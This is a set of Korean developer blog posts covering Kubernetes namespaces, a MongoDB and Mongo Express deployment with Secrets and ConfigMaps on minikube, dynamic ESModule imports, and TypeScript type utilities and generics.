`네임스페이스 내부에 생성할 수 있는 것들`

```bash
» kubectl api-resources --namespaced=true
NAME                        SHORTNAMES   APIVERSION                     NAMESPACED   KIND
bindings                                 v1                             true         Binding
configmaps                  cm           v1                             true         ConfigMap
endpoints                   ep           v1                             true         Endpoints
events                      ev           v1                             true         Event
limitranges                 limits       v1                             true         LimitRange
persistentvolumeclaims      pvc          v1                             true         PersistentVolumeClaim
pods                        po           v1                             true         Pod
podtemplates                             v1                             true         PodTemplate
replicationcontrollers      rc           v1                             true         ReplicationController
resourcequotas              quota        v1                             true         ResourceQuota
secrets                                  v1                             true         Secret
serviceaccounts             sa           v1                             true         ServiceAccount
services                    svc          v1                             true         Service
controllerrevisions                      apps/v1                        true         ControllerRevision
daemonsets                  ds           apps/v1                        true         DaemonSet
deployments                 deploy       apps/v1                        true         Deployment
replicasets                 rs           apps/v1                        true         ReplicaSet
statefulsets                sts          apps/v1                        true         StatefulSet
localsubjectaccessreviews                authorization.k8s.io/v1        true         LocalSubjectAccessReview
horizontalpodautoscalers    hpa          autoscaling/v1                 true         HorizontalPodAutoscaler
cronjobs                    cj           batch/v1beta1                  true         CronJob
jobs                                     batch/v1                       true         Job
leases                                   coordination.k8s.io/v1         true         Lease
endpointslices                           discovery.k8s.io/v1beta1       true         EndpointSlice
events                      ev           events.k8s.io/v1               true         Event
ingresses                   ing          extensions/v1beta1             true         Ingress
ingresses                   ing          networking.k8s.io/v1           true         Ingress
networkpolicies             netpol       networking.k8s.io/v1           true         NetworkPolicy
poddisruptionbudgets        pdb          policy/v1beta1                 true         PodDisruptionBudget
rolebindings                             rbac.authorization.k8s.io/v1   true         RoleBinding
roles                                    rbac.authorization.k8s.io/v1   true         Role
```

### 네임스페이스 내부에 컴포넌트를 만드는 법

이전에 설정파일들로 만들어보았지만, 별도로 네임스페이스를 지정한 적이 없다. 이 경우에는 기본값으로 default 네임스페이스에 생성되어버린다.

```bash
» kubectl apply -f mongo-configmap.yaml --namespace=my-namespace
configmap/mongodb-configmap created
```

또는, `metadata.namespace`에 기재하는 방법 있다.

```yaml
» cat mongo-configmap.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: mongodb-configmap
  namespace: my-namespace
data:
  database_url: mongodb-service # 서비스 메타데이터 네임을 그대로 가져온다.%
```

이를 가져오기 위해서는, `-n`을 활용하면 된다.

```bash
» kubectl get configmap -n my-namespace
NAME                DATA   AGE
kube-root-ca.crt    1      19m
mongodb-configmap   1      97s
```

귀찮으니 설정파일 내부에 기재해두자. 문서화에도 도움이되고, 까먹지도 않고 자동으로 편리하게 적용할 수 있다.

### 디폴트 네임스페이스 변경하기

앞서 살펴보았던 것처럼, 기본값은 `default`다. 이 기본값을 바꿔주는 것이 [kubens](https://github.com/ahmetb/kubectx)다.

```bash
» brew install kubectx
==> Downloading https://ghcr.io/v2/homebrew/core/kubectx/manifests/0.9.3
######################################################################## 100.0%
==> Downloading https://ghcr.io/v2/homebrew/core/kubectx/blobs/sha256:30c0b39d23e542bc936994a8c1a47705f0205e42e59cb043adaed21
==> Downloading from https://pkg-containers.githubusercontent.com/ghcr1/blobs/sha256:30c0b39d23e542bc936994a8c1a47705f0205e42
######################################################################## 100.0%
==> Pouring kubectx--0.9.3.all.bottle.tar.gz
==> Caveats
zsh completions have been installed to:
  /usr/local/share/zsh/site-functions
==> Summary
🍺  /usr/local/Cellar/kubectx/0.9.3: 12 files, 37.8KB
```

```bash
» kubens
default
kube-node-lease
kube-public
kube-system
my-namespace
```

활성화 되어있는 네임스페이스가 색이 칠해져서 보일 것이다.

![kubectx](./images/kubectx.png)

```bash
» kubens my-namespace
Context "minikube" modified.
Active namespace is "my-namespace".
```

---

Source: https://yceffort.kr/2021/06/dynamic-import-esmodule.md
Title: ESModule을 동적으로 import 하기
Description: 무지성 import 멈춰!
Date: 2021-06-19
Tags: javascript

ECMAScript (ES2015, ES) 모듈이란 자바스크립트에서 각 코드를 하나의 청크로 구성할 수 있게 해주는 방법을 제공한다. 먼저, 자바스크립트의 값을 외부로 노출을 시킨다.

```javascript
export const sum = (a, b) => a + b
```

그리고 이 값(함수)을 필요로 하는 곳에서 아래와 같이 사용한다.

```javascript
import {sum} from './test'

sum(1, 2)
```

대부분의 경우에는 위의 예제 처럼 상단에 필요한 모듈들을 static하게 import하는 것이 일반적이지만, 때때로 이를 필요에 따라 조건부로 불러올 수도 있다. [dynamic import](https://caniuse.com/?search=dynamic%20import)라고 불리며, 이는 ES2020(ES11)에 포함된 기능이다.

```javascript
const sum = await import('./test')
```

`await import`는 프로미스를 리턴하고 이 때부터 동적으로 모듈을 불러오기 시작한다. 그리고 모듈을 성공적으로 불러오면, promise는 모듈을 resolve하거나 실패할 경우 reject 하게 된다.

그리고 `import`내의 구문은 모듈의 위치를 가리키는 string이면 되기 때문에, 함수 외부에서 인수로 받거나 계산된 string을 받는 것들도 가능하다.

```javascript
export const sum = (a, b) => a + b
```

```javascript
async function calc(a, b) {
  const {sum} = await import('./test')
  sum(a, b)
}

calc(1, 2) // 3
```

이제 default 의 경우를 살펴보자.

```javascript
const sum = (a, b) = > a + b
export default sum
```

이 경우에는 `default` 키워드를 사용하면 된다.

```javascript
async function calc() {
  const {default: sum} = await import('./test')
  sum(1, 2)
}
```

한가지 유의 할 것은,

```javascript
const sum = await import('./test')
```

이렇게는 안된다는 것이다.

default와 그 외의 것들이 섞여있는 경우라면 아래와 같이 처리하면 된다.

```javascript
const sum = (a, b) => a + b
export const sum1 = (a, b) => a + b
export const sum2 = (a, b) => a + b

export default sum
```

```javascript
const {default: sum, sum1, sum2} = await import('./test')
```

---

Source: https://yceffort.kr/2021/06/typescript-type-operation-generic.md
Title: 타입스크립트의 타입과 제네릭 적극 활용하기
Description: interface를 더 좋아하지만 type이 더 간지남
Date: 2021-06-15
Tags: typescript

소프트웨어 개발 원칙 중의 하나인 [DRY, don't repeat yourself](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) 는 너무나도 유명해서 별로 설명할게 없긴한다. type을 잘 사용하면, 조금 더 효과적으로 소프트웨러를 설계할 수 있다.

## 타입 확장하기

```typescript
interface Person {
  name: string
  age: number
}

// don't
interface PersonWithBirthday {
  name: string
  age: number
  birth: Date
}

// do
interface PersonWithBirth extends {
  birth: Date
}
```

`type`을 사용한다면, `&`으로도 가능하다.

```typescript
type PersonWithBirth = Person & {birth: Date}
```

## 타입 좁히기

이전 예제와 반대의 예제를 들어보자. 이번엔 큰 타입에서 작은 타입의 subset이 필요한 경우다.

```typescript
interface User {
  userId: string
  name: string
  age: number
  email: string
}

interface SelectedUser {
  userId: string
  email: string
}
```

이 역시 중복이 발생하므로, 좋지 못한 방법이다.

```typescript
type SelectedUser = {
  userId: User['userId']
  email: User['email']
}

interface SelectedUser {
  userId: User['userId']
  email: User['email']
}
```

오오 놀랍다. 타입의 값을 마치 객체에서 값을 꺼내온 것마냥 썼다. 이렇게 해두면, `User`의 `userId`가 number로 바뀌게되도, 자동으로 그 타입도 따라가게 될 것이다.

하지만 이 역시도 번거로운 점이 있다. key조차도 나는 똑같이 할 건데, 굳이 키를 다시 선언할 필요가 있을까?

```typescript
type SelectedUser = {
  [k in 'userId' | 'email']: User[k]
}
```

![type-operations1](./images/type-operation1.png)

오옹 신기하다. 하지만 이미 우리는 이것보다 더 편한 방법을 알고 있다.

```typescript
type SelectedUser = Pick<User, 'userId' | 'email'>
```

[Pick](https://www.typescriptlang.org/docs/handbook/utility-types.html#picktype-keys) 을 쓰면 간단하게 해결할 수 있다.

## 공통타입 추출하기

```typescript
interface Save {
  action: 'save'
  body: string
  id: string
}

interface Load {
  action: 'load'
  body: string
  id: string
}

type Action = Save | Load
type ActionType = 'save' | 'load' // Repeat!
```

두 타입은 `action`의 값 외엔 모든게 똑같은데, 여기서 `action`을 또다른 타입으로 추려내기 위해서 `'save' | 'load'`를 썼다. 이것도 마찬가지로, 아래 처럼 바꿀 수 있다.

```typescript
type ActionType = Action['action'] // type ActionType = "save" | "load"
```

## 타입 옵셔널하게 사용하기

객체의 모든 키가 옵셔널 하다면 어떻게 해야할까? 일일히 모두 물음표를 달아야할까?

```typescript
interface Person {
  age?: number
  name?: string
  email?: string
  gender?: string
}
```

그렇지 않다. `Partial<Person>`을 사용하면, 안에 있는 모든 키를 옵셔널하게 바꿔준다. 이는 옵셔널한 값을 받는 상황 (api로 값을 업데이트 한다던지)에 매우 유용하게 쓸 수 있다.

```typescript
function update(options: Partial<Person>) {
  // .. 적당히 값을 받아서 처리한다.
}
```

## 값으로 부터 타입을 추출하기

기본적으로 개발 흐름은 타입을 선언하고 값을 쓰는 형태로 가지만, 반대인 경우가 있을 수 있다. 이 경우에는 아래와 같이 하면 된다.

```typescript
const INIT_VALUES = {
  width: 640,
  height: 480,
  price: 150_000,
  name: 'monitor',
}

type Options = typeof INIT_VALUES
// 위 타입은 아래와 같다.
// type Options = {
//     width: number;
//     height: number;
//     price: number;
//     name: string;
// }
```

한가지 조심해야 할 것은, `typeof`의 사용이다. 아래 두 코드는 엄연히 다르다.

```typescript
const t = typeof INIT_VALUES // "object"
type o = typeof options
// type Options = {
//     width: number;
//     height: number;
//     price: number;
//     name: string;
// }
```

값을 선언한 코드에 `typeof`를 때리면 자바스크립트 런타임의 [typeof](https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Operators/typeof)를 실행하게 된다. 값을 가져오고 싶은건지, type을 가져오고 싶은건지 확실히 해야 한다. 조건문 같은 곳에 `typeof`를 둔다면 자바스크립트 런타임의 `typeof`를 실행한다는 것을 명심하자. `type`에 `typeof`를 쓰면, 타입스크립트만 알아듣는다.

이렇게 쓰긴했지만, 어디까지나, 타입을 먼저쓰고 값을 쓰는 경우가 훨씬 더 일반적이고 정확하다.

## 함수의 결과를 타이핑 하기

함수의 결과를 타이핑하고 싶다면, [ReturnType](https://www.typescriptlang.org/docs/handbook/utility-types.html#returntypetype)과 제네릭을 활용하면 된다.

```typescript
function getUserInfo(userId: string) {
  // ...

  return {
    userId,
    name: 'hello',
    age: (Math.random() * 100) / 100,
    email: 'random@email.com',
  }
}

type userInfo = ReturnType<typeof getUserInfo>
// 위와 같다.
// type userInfo = {
//     userId: string;
//     name: string;
//     age: number;
//     email: string;
// }
```

이러한 패턴은 라이브러리에서 함수의 리턴을 emit할 때 많이 쓴다. 주의할 점은, 제네릭에 `getUserInfo`가 아니고 `typeof gerUserInfo`가 들어갔다는 점이다. `ReturnType`는 타입을 제네릭으로 받아야 한다.

```typescript
type t = typeof getUserInfo

// 위와 같다.
// type t = (userId: string) => {
//     userId: string;
//     name: string;
//     age: number;
//     email: string;
// }
```

이로써 함수만 바꾸더라도, 타입까지 자동으로 바뀌어서 [single source of truth](https://ko.wikipedia.org/wiki/%EB%8B%A8%EC%9D%BC_%EC%A7%84%EC%8B%A4_%EA%B3%B5%EA%B8%89%EC%9B%90)를 지킬 수 있었다.

## 제네릭으로 파라미터 제한하기

제네릭 타입은 함수를 위한 타입과 같다. 그리고 함수가 DRY 원칙을 지키기 위한 수단인 것을 감안했을때, 제네릭도 마찬가지로 타입의 DRY를 위한 필수 요소라고 볼 수 있다.

```typescript
interface Name {
  first: string
  last: string
}

type PairProgrammer<T extends Name> = [T, T]

const day1: PairProgrammer<Name> = [
  {last: 'KIM', first: 'YONGCHAN'},
  {last: 'LEE', first: 'JAEYONG'},
]

const day2: PairProgrammer<Name> = [
  {last: 'KIM'}, // Property 'first' is missing in type '{ last: string; }' but required in type 'Name'.
  {last: 'LEE'}, // Property 'first' is missing in type '{ last: string; }' but required in type 'Name'.
]
```

> 한가지 조금 개인적으로 아쉬운것은, 제네릭 파라미터를 생략할 수 없다는 점이다. `PairProgrammer<Name>` 대신 `PairProgrammer`를 쓸 수 없다는 점이다.

## Pick 구현해보기

이렇게 `extends` 키워드까지 활용한다면, `Pick`과 동일한 타입을 추출하는 나만의 `Pick`을 만들 수 있다.

```typescript
type MyPick<T, K extends keyof T> = {
  [k in K]: T[k]
}
```

---

Source: https://yceffort.kr/2021/06/study-k8s-3.md
Title: K8s 공부 (3)
Description: 무지성에서 시작하는 K8s 공부해보기 시리즈(3)
Date: 2021-06-12
Tags: kubernetes, docker

[K8s 공부 (2)](/2021/06/study-k8s-2)에서 이어집니다.

## K8s yaml 설정파일 알아보기

`nginx-deployment.yaml`

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nginx-deployment
  labels:
    app: nginx
spec:
  replicas: 2
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
        - name: nginx
          image: nginx:1.16
          ports:
            - containerPort: 8080
```

`nginx-service.yaml`

```yaml
apiVersion: v1
kind: Service
metadata:
  name: nginx-service
spec:
  selector:
    app: nginx
  ports:
    - protocol: TCP
      port: 80
      targetPort: 8080
```

K8s의 설정파일은 모두 3가지 파트로 이루어져 있음.

1. metadata
2. specification
3. status: 이는 자동으로 K8s에서 자동으로 생성되어서 붙게됨. K8s는 항상 spec에 적혀있는 내용과 현재 상태를 비교함. 이 두 상태가 일치하지 않다면, 고쳐야 할 것이 있다는 것으로 인식. (=self-healing) 이런한 상태를 가져오는 것이 `etcd`이다. `etcd`는 언제나 모든 컴포넌트의 상태를 계속해서 가지고 있음.

`yaml`형태로 이루어져있기 때문에, indent에 주의해야함.

이 설정파일은 실제 애플리케이션 코드와 함께 있거나 혹은 자체 레파지토리에서 보관하는 것이 좋음.

`spec`의 하위에 `template`이 있는데, 여기에도 동일하게 `metadata`와 `spec`이 있음. (configuration 내부의 configuration) 이 `template`이 pod에 적용되는 설정임. `pod`의 blueprint라고 볼 수 있음.

`labels` & `selectors`: `metadata`는 `labels`를 가지고 있고, `spec`은 `selector`를 가지고 있음.

- 위 예제에서는, `app`이 `nginx`를 가지고 있는데, 이것이 컴포넌트와 연결되어 있는 것임.
- 그렇게 되면 `deployment`가 이 `pod`가 어디와 연결되어 있는지 알 수 있음
- `service`에는 `selector`가 있는데, 여기에 있는 내용으로 `deployment`가 무엇과 연관되어 있는지 알 수 있음.
- service에는 port가 존재. `containerPort`와 `targetPort`를 연결 시키면됨.

## Demo

```bash
» kubectl apply -f nginx-deployment.yaml
deployment.apps/nginx-deployment created

» kubectl apply -f nginx-service.yaml
service/nginx-service created

» kubectl get pod
NAME                                READY   STATUS    RESTARTS   AGE
nginx-deployment-644599b9c9-8wfww   1/1     Running   0          62s
nginx-deployment-644599b9c9-fwp5g   1/1     Running   0          62s

» kubectl get service
NAME            TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)   AGE
kubernetes      ClusterIP   10.96.0.1        <none>        443/TCP   2d
nginx-service   ClusterIP   10.101.115.234   <none>        80/TCP    43s
```

`kubernetes`는 default로 항상 켜져 있다고 보면 된다.

```bash
» kubectl describe service nginx-service
Name:              nginx-service
Namespace:         default
Labels:            <none>
Annotations:       <none>
Selector:          app=nginx
Type:              ClusterIP
IP Families:       <none>
IP:                10.101.115.234
IPs:               10.101.115.234
Port:              <unset>  80/TCP
TargetPort:        8080/TCP
Endpoints:         172.17.0.3:8080,172.17.0.4:8080
Session Affinity:  None
Events:            <none>
```

```bash
» kubectl get pod -o wide
NAME                                READY   STATUS    RESTARTS   AGE     IP           NODE       NOMINATED NODE   READINESS GATES
nginx-deployment-644599b9c9-8wfww   1/1     Running   0          3m27s   172.17.0.4   minikube   <none>           <none>
nginx-deployment-644599b9c9-fwp5g   1/1     Running   0          3m27s   172.17.0.3   minikube   <none>           <none>
```

이번엔 자동으로 생성된다던 status를 살펴보자.

```bash
» kubectl get deployment nginx-deployment -o yaml
```

yaml 파일을 보면, 우리가 생성한 것 외에 추가적인 정보가 더 생겼다는 것을 알 수가 있다. (`status`를 제외 하더라도) 따라서 이것들을 복사해서 바로 사용하지 말고 주의해서 사용해야 한다.

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  annotations:
    deployment.kubernetes.io/revision: '1'
    kubectl.kubernetes.io/last-applied-configuration: |
      {"apiVersion":"apps/v1","kind":"Deployment","metadata":{"annotations":{},"labels":{"app":"nginx"},"name":"nginx-deployment","namespace":"default"},"spec":{"replicas":2,"selector":{"matchLabels":{"app":"nginx"}},"template":{"metadata":{"labels":{"app":"nginx"}},"spec":{"containers":[{"image":"nginx:1.16","name":"nginx","ports":[{"containerPort":80}]}]}}}}
  creationTimestamp: '2021-06-12T14:04:22Z' # 생성시간
  generation: 1
  labels:
    app: nginx
  name: nginx-deployment
  namespace: default
  resourceVersion: '49389'
  uid: 23fb2be1-a62f-4875-a6ae-7298ebd2b49c
spec:
  progressDeadlineSeconds: 600
  replicas: 2
  revisionHistoryLimit: 10
  selector:
    matchLabels:
      app: nginx
  strategy:
    rollingUpdate:
      maxSurge: 25%
      maxUnavailable: 25%
    type: RollingUpdate
  template:
    metadata:
      creationTimestamp: null
      labels:
        app: nginx
    spec:
      containers:
        - image: nginx:1.16
          imagePullPolicy: IfNotPresent
          name: nginx
          ports:
            - containerPort: 80
              protocol: TCP
          resources: {}
          terminationMessagePath: /dev/termination-log
          terminationMessagePolicy: File
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      schedulerName: default-scheduler
      securityContext: {}
      terminationGracePeriodSeconds: 30
status:
  availableReplicas: 2
  conditions:
    - lastTransitionTime: '2021-06-12T14:04:26Z'
      lastUpdateTime: '2021-06-12T14:04:26Z'
      message: Deployment has minimum availability.
      reason: MinimumReplicasAvailable
      status: 'True'
      type: Available
    - lastTransitionTime: '2021-06-12T14:04:22Z'
      lastUpdateTime: '2021-06-12T14:04:26Z'
      message: ReplicaSet "nginx-deployment-644599b9c9" has successfully progressed.
      reason: NewReplicaSetAvailable
      status: 'True'
      type: Progressing
  observedGeneration: 1
  readyReplicas: 2
  replicas: 2
  updatedReplicas: 2
```

```bash
» kubectl delete -f nginx-deployment.yaml
deployment.apps "nginx-deployment" deleted

» kubectl delete -f nginx-service.yaml
service "nginx-service" deleted
```

## 예제

### 구성

- MongoDB: pod로 internal 서비스로 만들어서, 외부에서 요청을 받지 못하도록 한다. (같은 클러스터에서만 받도록)
- Mongo Express: DB와 연결, 인증, deployment.yaml로 생성. 외부에서 연결되도록 external service로 만든다.

브라우저 → Mongo Express External service → Mongo Express Pod → MongoDB internal Service → Mongo DB Pod

`mongodb-deployment.yaml`

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: mongodb-deployment
  labels:
    app: mongodb
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mongodb
    template: # pod에 관한 정보
      metadata:
        labels:
          app: mongodb
      spec:
        containers:
          - name: mongodb
            image: mongo
```

mongo image가 어떻게 되어있는지 살펴보자.

https://hub.docker.com/_/mongo

- 기본 포트가 `27017`이다.
- Environment Variable: `MONGO_INITDB_ROOT_USERNAME` `MONGO_INITDB_ROOT_PASSWORD`

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: mongodb-deployment
  labels:
    app: mongodb
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mongodb
    template: # pod에 관한 정보
      metadata:
        labels:
          app: mongodb
      spec:
        containers:
          - name: mongodb
            image: mongo
            ports:
              - containerPort: 27017
            env:
              - name: MONGO_INITDB_ROOT_USERNAME
                value:
              - name: MONGO_INITDB_ROOT_PASSWORD
                value:
```

여기서 아이디와 암호를 직접 넣을 수는 없으므로, `Secret`을 활용할 것이다.

```yaml
apiVersion: v1
kind: Secret # secret
metadata:
  name: mongodb-secret # 이름
type: Opaque # 기본. key-value 타입, TLS... 등이 있음.
data: # 실제 키 값. 여기서 값은 base 64여야한다!! 터미널에서 만들기를 추천
  mongo-root-username: dXNlcm5hbWU=
  mongo-root-password: c2V4eWd1eTEwMjQ=
```

```bash
» echo -n 'username' | base64
dXNlcm5hbWU=

» echo -n 'sexyguy1024' | base64
c2V4eWd1eTEwMjQ=
```

이제 이 값을 추가하자.

```bash
» kubectl apply -f mongo-secret.yml
secret/mongodb-secret created

» kubectl get secret
NAME                  TYPE                                  DATA   AGE
default-token-tffzh   kubernetes.io/service-account-token   3      2d
mongodb-secret        Opaque                                2      8s
```

이를 이제 deployment에서 참조하자.

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: mongodb-deployment
  labels:
    app: mongodb
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mongodb
    template: # pod에 관한 정보
      metadata:
        labels:
          app: mongodb
      spec:
        containers:
          - name: mongodb
            image: mongo
            ports:
              - containerPort: 27017
            env:
              - name: MONGO_INITDB_ROOT_USERNAME
                valueFrom:
                  secretKeyRef:
                    name: mongodb-secret # secret 메타 데이터 이름
                    key: mongo-root-username # secret 키
              - name: MONGO_INITDB_ROOT_PASSWORD
                valueFrom:
                  secretKeyRef:
                    name: mongodb-secret # secret 메타 데이터 이름
                    key: mongo-root-password # secret 키
```

```bash
» kubectl apply -f mongodb-deployment.yaml
deployment.apps/mongodb-deployment created

» kubectl get all
NAME                                     READY   STATUS              RESTARTS   AGE
pod/mongodb-deployment-8f6675bc5-pg2rh   0/1     ContainerCreating   0          13s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    <none>        443/TCP   2d

NAME                                 READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/mongodb-deployment   0/1     1            0           13s

NAME                                           DESIRED   CURRENT   READY   AGE
replicaset.apps/mongodb-deployment-8f6675bc5   1         1         0       13s

» kubectl get pod
NAME                                 READY   STATUS              RESTARTS   AGE
mongodb-deployment-8f6675bc5-pg2rh   0/1     ContainerCreating   0          29s

» kubectl describe pod mongodb-deployment-8f6675bc5-pg2rh
Name:         mongodb-deployment-8f6675bc5-pg2rh
Namespace:    default
Priority:     0
Node:         minikube/192.168.64.3
Start Time:   Sat, 12 Jun 2021 23:34:01 +0900
Labels:       app=mongodb
              pod-template-hash=8f6675bc5
Annotations:  <none>
Status:       Running
IP:           172.17.0.3
IPs:
  IP:           172.17.0.3
Controlled By:  ReplicaSet/mongodb-deployment-8f6675bc5
Containers:
  mongodb:
    Container ID:   docker://9fb6bbe32ecdd525fccfb92d89af73cce896401be1b4b6d7bb5f23b360fb0080
    Image:          mongo
    Image ID:       docker-pullable://mongo@sha256:482a562bf25f42f02ce589458f72866bbe9eded5b6f8fa5b1213313f0e00bba2
    Port:           27017/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Sat, 12 Jun 2021 23:34:35 +0900
    Ready:          True
    Restart Count:  0
    Environment:
      MONGO_INITDB_ROOT_USERNAME:  <set to the key 'mongo-root-username' in secret 'mongodb-secret'>  Optional: false
      MONGO_INITDB_ROOT_PASSWORD:  <set to the key 'mongo-root-password' in secret 'mongodb-secret'>  Optional: false
    Mounts:
      /var/run/secrets/kubernetes.io/serviceaccount from default-token-tffzh (ro)
Conditions:
  Type              Status
  Initialized       True
  Ready             True
  ContainersReady   True
  PodScheduled      True
Volumes:
  default-token-tffzh:
    Type:        Secret (a volume populated by a Secret)
    SecretName:  default-token-tffzh
    Optional:    false
QoS Class:       BestEffort
Node-Selectors:  <none>
Tolerations:     node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                 node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:
  Type    Reason     Age   From               Message
  ----    ------     ----  ----               -------
  Normal  Scheduled  55s   default-scheduler  Successfully assigned default/mongodb-deployment-8f6675bc5-pg2rh to minikube
  Normal  Pulling    54s   kubelet            Pulling image "mongo"
  Normal  Pulled     21s   kubelet            Successfully pulled image "mongo" in 33.366837514s
  Normal  Created    21s   kubelet            Created container mongodb
  Normal  Started    20s   kubelet            Started container mongodb
```

정상적으로 시작되었음을 알 수 있다.

이제 internal service를 만들어보자. 근데 일반적으로 deployment와 service는 하나의 파일에 둔다. `yaml`파일 하단에 `---`로 선언해두면, 그 다음 파일 설정을 만들어 둘 수 있다.

```yaml
---
apiVersion: v1
kind: Service
metadata:
  name: mongodb-service
spec:
  selector:
    app: mongodb # 앞서 `labels`로 설정해두었던 값들
  ports:
    - protocol: TCP
      port: 27017
      targetPort: 27017
```

```bash
» kubectl apply -f mongodb-deployment.yaml
deployment.apps/mongodb-deployment unchanged
service/mongodb-service created

» kubectl get service
NAME              TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)     AGE
kubernetes        ClusterIP   10.96.0.1        <none>        443/TCP     2d
mongodb-service   ClusterIP   10.111.181.214   <none>        27017/TCP   34s

» kubectl describe service mongodb-service
Name:              mongodb-service
Namespace:         default
Labels:            <none>
Annotations:       <none>
Selector:          app=mongodb
Type:              ClusterIP
IP Families:       <none>
IP:                10.111.181.214
IPs:               10.111.181.214
Port:              <unset>  27017/TCP
TargetPort:        27017/TCP
Endpoints:         172.17.0.3:27017
Session Affinity:  None
Events:            <none>

NAME                                 READY   STATUS    RESTARTS   AGE     IP           NODE       NOMINATED NODE   READINESS GATES
mongodb-deployment-8f6675bc5-pg2rh   1/1     Running   0          7m35s   172.17.0.3   minikube   <none>           <none>
```

한번에 보고 싶다면,

```bash
» kubectl get all
NAME                                     READY   STATUS    RESTARTS   AGE
pod/mongodb-deployment-8f6675bc5-pg2rh   1/1     Running   0          8m24s

NAME                      TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)     AGE
service/kubernetes        ClusterIP   10.96.0.1        <none>        443/TCP     2d
service/mongodb-service   ClusterIP   10.111.181.214   <none>        27017/TCP   2m14s

NAME                                 READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/mongodb-deployment   1/1     1            1           8m24s

NAME                                           DESIRED   CURRENT   READY   AGE
replicaset.apps/mongodb-deployment-8f6675bc5   1         1         1       8m24s
```

이제 mongo express와 external service를 만들자.

`mongo-express.yaml`

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: mongo-express
  labels:
    app: mongo-express
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mongo-express
  template:
    metadata:
      labels:
        app: mongo-express
    spec:
      containers:
        - name: mongo-express
          image: mongo-express
```

https://hub.docker.com/_/mongo-express

- `port`: 8081
- `ME_CONFIG_MONGODB_ADMINUSERNAME`
- `ME_CONFIG_MONGODB_ADMINPASSWORD`
- `ME_CONFIG_MONGODB_PORT`: 는 기본 27017을 써서 상관없을듯
- `ME_CONFIG_MONGODB_SERVER`

위 정보를 추가하자. `ME_CONFIG_MONGODB_SERVER`는 secret이 아닌 `ConfigMap`을 사용하면 좋을듯.

`mongo-configmap.yaml`

```yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: mongodb-configmap
data:
  database_url: mongodb-service # 서비스 메타데이터 네임을 그대로 가져온다.
```

```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: mongo-express
  labels:
    app: mongo-express
spec:
  replicas: 1
  selector:
    matchLabels:
      app: mongo-express
  template:
    metadata:
      labels:
        app: mongo-express
    spec:
      containers:
        - name: mongo-express
          image: mongo-express
          ports:
            - containerPort: 8081
          env:
            - name: ME_CONFIG_MONGODB_ADMINUSERNAME
              valueFrom:
                secretKeyRef:
                  name: mongodb-secret # secret 메타 데이터 이름
                  key: mongo-root-username # secret 키
            - name: ME_CONFIG_MONGODB_ADMINPASSWORD
              valueFrom:
                secretKeyRef:
                  name: mongodb-secret # secret 메타 데이터 이름
                  key: mongo-root-password # secret 키
            - name: ME_CONFIG_MONGODB_SERVER
              valueFrom:
                configMapKeyRef:
                  name: mongodb-configmap # configmap 메타 데이터 이름
                  key: database_url # configmap 키
```

configmap부터 적용해보자.

```bash
» kubectl apply -f mongo-configmap.yaml
configmap/mongodb-configmap created

» kubectl apply -f mongo-express.yaml
deployment.apps/mongo-express created

» kubectl get pod
NAME                                 READY   STATUS    RESTARTS   AGE
mongo-express-78fcf796b8-vjmgd       1/1     Running   0          20s
mongodb-deployment-8f6675bc5-pg2rh   1/1     Running   0          19m

» kubectl logs mongo-express-78fcf796b8-vjmgd
Waiting for mongodb-service:27017...
Welcome to mongo-express
------------------------


Mongo Express server listening at http://0.0.0.0:8081
Server is open to allow connections from anyone (0.0.0.0)
basicAuth credentials are "admin:pass", it is recommended you change this in your config.js!
Database connected
Admin Database connected
```

정상적으로 서비스가 연결되었다.

이제 브라우저에서 연결되게 해보자. 서비스도 마찬가지로 `mongo-express.yaml`의 하단에 기재한다.

```yaml
apiVersion: v1
kind: Service
metadata:
  name: mongo-express-service
spec:
  selector:
    app: mongo-express
  type: LoadBalancer # 인터널 서비스도 로드밸런서로 동작한다. 그냥 여기에서는 external IP 주소를 할당하는 목적이라고 보면 될 것 같다.
  ports:
    - protocol: TCP
      port: 8081
      targetPort: 8081
      nodePort: 30000 # 외부 ip에 열어둘 port 3000~32767 사이만 가능
```

```bash
» kubectl apply -f mongo-express.yaml
deployment.apps/mongo-express unchanged
service/mongo-express-service created

» kubectl get service
NAME                    TYPE           CLUSTER-IP       EXTERNAL-IP   PORT(S)          AGE
kubernetes              ClusterIP      10.96.0.1        <none>        443/TCP          2d
mongo-express-service   LoadBalancer   10.99.198.37     <pending>     8081:30000/TCP   10s
mongodb-service         ClusterIP      10.111.181.214   <none>        27017/TCP        18m
```

`CLUSTER-IP`는 모두 내부 IP다. `EXTERNAL-IP`가 pending으로 나와 있는 것은, minikube가 실제 K8s와 다른점이다. K8s에서는 실제 주소를 볼 수 있다.

minikube에서는 아이피를 아래 명령어로 줘야 한다.

```bash
» minikube service mongo-express-service
|-----------|-----------------------|-------------|---------------------------|
| NAMESPACE |         NAME          | TARGET PORT |            URL            |
|-----------|-----------------------|-------------|---------------------------|
| default   | mongo-express-service |        8081 | http://192.168.64.3:30000 |
|-----------|-----------------------|-------------|---------------------------|
🎉  Opening service default/mongo-express-service in default browser...
```

![mongo-express](./images/mongo-express.png)

실화냐? 가슴이 웅장해진다. K8s는 전설이다.

---

